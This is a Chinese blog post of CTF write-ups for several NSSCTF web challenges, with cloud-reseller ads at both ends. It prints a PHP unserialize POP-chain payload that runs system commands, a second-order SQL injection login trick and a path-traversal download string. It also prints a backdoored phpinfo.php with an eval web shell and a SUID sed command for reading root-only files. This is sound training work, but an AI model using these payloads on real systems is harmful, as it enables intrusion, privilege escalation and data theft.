NSSCTF第10页(3)-CSDN博客

阿里云国内75折 回扣 微信号:monov8
阿里云国际,腾讯云国际,低至75折。AWS 93折 免费开户实名账号 代冲值 优惠多多 微信号:monov8 飞机:@monov6

[LitCTF 2023]彩蛋

第一题
LitCTF{First_t0_The_k3y! (1/?)

第三题
<?php
// 第三个彩蛋(看过头号玩家么)
// R3ady_Pl4yer_000ne (3/?)
?>

第六题
wow 你找到了第二个彩蛋哦~
_S0_ne3t? (2/?)

第七题
这个好像是最后一个个彩蛋
F1rst_to_Th3_eggggggggg!}

拼接
LitCTF{First_t0_The_k3y!_S0_ne3t?_R3ady_Pl4yer_000ne_F1rst_to_Th3_eggggggggg!}

注意题目给的提交的格式是NSSCTF{}因此
NSSCTF{First_t0_The_k3y!_S0_ne3t?_R3ady_Pl4yer_000ne_F1rst_to_Th3_eggggggggg!}

 

[MoeCTF 2021]unserialize 

看代码做pop链

<?php

class entrance
{
    public $start;

    function __construct($start)
    {
        $this->start = $start;
    }

    function __destruct()
    {
        $this->start->helloworld();
    }
}

class springboard
{
    public $middle;

    function __call($name, $arguments)
    {
        echo $this->middle->hs;
    }
}

class evil
{
    public $end;

    function __construct($end)
    {
        $this->end = $end;
    }

    function __get($Attribute)
    {
        eval($this->end);
    }
}

if(isset($_GET['serialize'])) {
    unserialize($_GET['serialize']);
} else {
    highlight_file(__FILE__);
 

 利用class entrance的$start来调用class springboard再用class springboard的$middle调用class evil的$end

最后利用eval进行命令执行

 <?php

class entrance
{
    public $start;
}

class springboard
{
    public $middle;
}

class evil
{
    public $end;
}
$a=new entrance();
$a->start=new springboard();
$a->start->middle=new evil();
$a->start->middle->end="system('ls /');";
$b=serialize($a);
echo $b;
?>

 传参?serialize=O:8:"entrance":1:{s:5:"start";O:11:"springboard":1:{s:6:"middle";O:4:"evil":1:{s:3:"end";s:15:"system('ls /');";}}}

 ?serialize=O:8:"entrance":1:{s:5:"start";O:11:"springboard":1:{s:6:"middle";O:4:"evil":1:{s:3:"end";s:20:"system('cat /flag');";}}}

得到flag

 [MoeCTF 2021]Web安全入门指北—GET

 

 没啥说的就一个get传参

[HZNUCTF 2023 preliminary]guessguessguess 

输入phpinfo,发现sql查询语句有变化

看一下post发现有参数传递输入倒序的phpinfo得到flag

 [湖湘杯 2021 final]Penetratable

进去之后发现源代码没东西

扫到一点东西进去看看

 这几个文件里什么也没有

登录抓包发现username是base64编码password也是md5加密的

这里可以注册登录也可以修改密码

尝试二次注入

注册admin’#修改密码不成功

换一个闭合方式

admin"# 修改密码成功

修改密码为1234

 

 

修改admin密码

 成功登录admin

 

一开始说的i am root 所以应该是要登录root用户

但是用同样的方式发现不能对root进行修改密码导致不能登录root

说明只有admin是有权限修改密码的

在抓包过程中看见了修改密码的发包过程在js代码里也可以看见

req.js

function login(){
    let name=encodeURIComponent(Base64.encode($(".form-floating>input").eq(0).val()))
    let pass=hex_md5($(".form-floating>input").eq(1).val())
    $.ajax({
        url: '/?c=app&m=login',
        type: 'post',
        data: 'name=' + name+'&pass=' + pass,
        // async:true,
        dataType: 'text',
        success: function(data){
            let res=$.parseJSON(data);
            if (res['login']){
                switch (res['type']){
                    case 'user': location.href="/?c=user"; break;
                    case 'admin': location.href="/?c=admin"; break;
                    case 'root': location.href="/?c=root"; break;
                }
            }else if(res['alertFlag']){
                alert(res['alertData']);
            }
        }
    });
}

function userUpdateInfo(){
    let name=encodeURIComponent(Base64.encode($(".input-group>input").eq(0).val()))
    let oldPass=$(".input-group>input").eq(1).val()?hex_md5($(".input-group>input").eq(1).val()):'';
    let newPass=$(".input-group>input").eq(2).val()?hex_md5($(".input-group>input").eq(2).val()):'';
    let saying=encodeURIComponent(Base64.encode($(".input-group>input").eq(3).val()))
    $.ajax({
        url: '/?c=user&m=updateUserInfo',
        type: 'post',
        data: 'name='+name+'&newPass='+newPass+'&oldPass='+oldPass+'&saying='+saying,
        // async:true,
        dataType: 'text',
        success: function(data){
            alertHandle(data);
        }
    });
}

function signOut(){
    $.ajax({
        url: '/?c=app&m=signOut',
        type: 'get',
        dataType: 'text',
        success: function(data){
            alertHandle(data);
        }
    });
}

function alertHandle(data){
    let res=$.parseJSON(data);
    if(res['alertFlag']){
        alert(res['alertData']);
    }
    if(res['location']){
        location.href=res['location'];
    }
}

function changeAdminPage(type){
    let page=$('.page').text();
    if (type=='next'){
        location.href='?c=admin&m=getUserList&page='+(parseInt(page)+1);
    }
    if (type=='last'){
        location.href='?c=admin&m=getUserList&page='+(parseInt(page)-1);
    }
}
function changeRootPage(type){
    let page=$('.page').text();
    if (type=='next'){
        location.href='?c=root&m=getUserInfo&page='+(parseInt(page)+1);
    }
    if (type=='last'){
        location.href='?c=root&m=getUserInfo&page='+(parseInt(page)-1);
    }
}

function updatePass(){
    // let name=encodeURIComponent(Base64.encode($(".input-group>input").eq(0).val()))
    // let oldPass=$(".input-group>input").eq(1).val()?hex_md5($(".input-group>input").eq(1).val()):'';
    // let newPass=$(".input-group>input").eq(2).val()?hex_md5($(".input-group>input").eq(2).val()):'';
    // let saying=encodeURIComponent(Base64.encode($(".input-group>input").eq(3).val()))
    // $.ajax({
    //     url: '/?c=admin&m=updatePass',
    //     type: 'post',
    //     data: 'name='+name+'&newPass='+newPass+'&oldPass='+oldPass+'&saying='+saying,
    //     // async:true,
    //     dataType: 'text',
    //     success: function(data){
    //         alertHandle(data);
    //     }
    // });
}

function adminHome(){
    location.href='/?c=root'
}

function getUserInfo(){
    location.href='/?c=root&m=getUserInfo'
}

function getLogList(){
    location.href='/?c=root&m=getLogList'
}

function downloadLog(filename){
    location.href='/?c=root&m=downloadRequestLog&filename='+filename;
}

function register(){
    let name=encodeURIComponent(Base64.encode($(".form-floating>input").eq(2).val()))
    let pass=hex_md5($(".form-floating>input").eq(3).val())
    let saying=encodeURIComponent(Base64.encode($(".form-floating>input").eq(4).val()))
    $.ajax({
        url: '/?c=app&m=register',
        type: 'post',
        data: 'name=' + name+'&pass=' + pass +'&saying=' +saying,
        dataType: 'text',
        success: function(data){
            // console.log(data);
            alertHandle(data);
        }
    });
}

直接登录普通修改传参就行了不用登录admin

admin修改密码是可以直接修改的不管旧密码是否正确 

function updatePass(){
    // let name=encodeURIComponent(Base64.encode($(".input-group>input").eq(0).val()))
    // let oldPass=$(".input-group>input").eq(1).val()?hex_md5($(".input-group>input").eq(1).val()):'';
    // let newPass=$(".input-group>input").eq(2).val()?hex_md5($(".input-group>input").eq(2).val()):'';
    // let saying=encodeURIComponent(Base64.encode($(".input-group>input").eq(3).val()))
    // $.ajax({
    //     url: '/?c=admin&m=updatePass',
    //     type: 'post',
    //     data: 'name='+name+'&newPass='+newPass+'&oldPass='+oldPass+'&saying='+saying,
    //     // async:true,
    //     dataType: 'text',
    //     success: function(data){
    //         alertHandle(data);
    //     }
    // });
 

 这里就给出了修改密码的url地址传参方式

再根据之前的name和pass的加密方式来修改root密码

修改root密码为4321

这里在改的时候先登录admin账号在抓包改包get传参改成post剩下的按上边源码标红地方修改

成功登录

发现一个下载下下来看看

发现是日志

 

抓个包看看

发现有目录遍历?c=root&m=downloadRequestLog&filename=../../../var/www/html/phpinfo.php

在phpinfo页面看到东西

 

<?php
if(md5(@$_GET['pass_31d5df001717'])==='3fde6bb0541387e4ebdadf7c2ff31123'){@eval($_GET['cc']);}
// hint: Checker will not detect the existence of phpinfo.php, please delete the file when fixing the vulnerability.
?> 

3fde6bb0541387e4ebdadf7c2ff31123直接md5得到值为1q2w3e

然后就是写马

如果直接连接http://1.14.71.254:28011/phpinfo.php?pass_31d5df001717=1q2w3e

密码cc

发现连接不了要在写个文件或者这样

phpinfo.php?pass_31d5df001717=1q2w3e&cc=eval($_POST[1]);

密码1

才能连上

在根目录发现flag

 什么都没有

用终端打开发现没有权限

 

find / -user root -perm -4000 -print 2>/dev/null

 查找拥有suid的二进制文件

看到sed有suid权限用sed读文件

sed选项:

    常见的sed命令选项包含以下几种
    -e或-expression=表示用指定命令或者脚本来处理输入的文本文件
    -f或-file-表示用指定的脚本文件来处理输入的文件文件
    -h或–help显示帮助
    -n、-quite或silent表示仅表示处理后的结果
    -i直接编辑文本文件
 

sed操作

    a增加在当前行下面增加一行指定内容。
    c替换讲选定行替换为指定内容。
    d删除删除选定的行。
    i插入在选定行上面插入一行指定内容。
    p打印如果同时指定行表示打印指定行如果不指定行则表示打印所有内容如果又非打印字符则以ASCLL码输出。通常与“-n”选项一起使用。
    s替换替换指定字符
    y字符转换

sed -n '1p' /flag 

 

 这种题之前从来没遇见过考的方面偏实战并且涉及到了提权的相关知识题很好

 

 

阿里云国内75折 回扣 微信号:monov8
阿里云国际,腾讯云国际,低至75折。AWS 93折 免费开户实名账号 代冲值 优惠多多 微信号:monov8 飞机:@monov6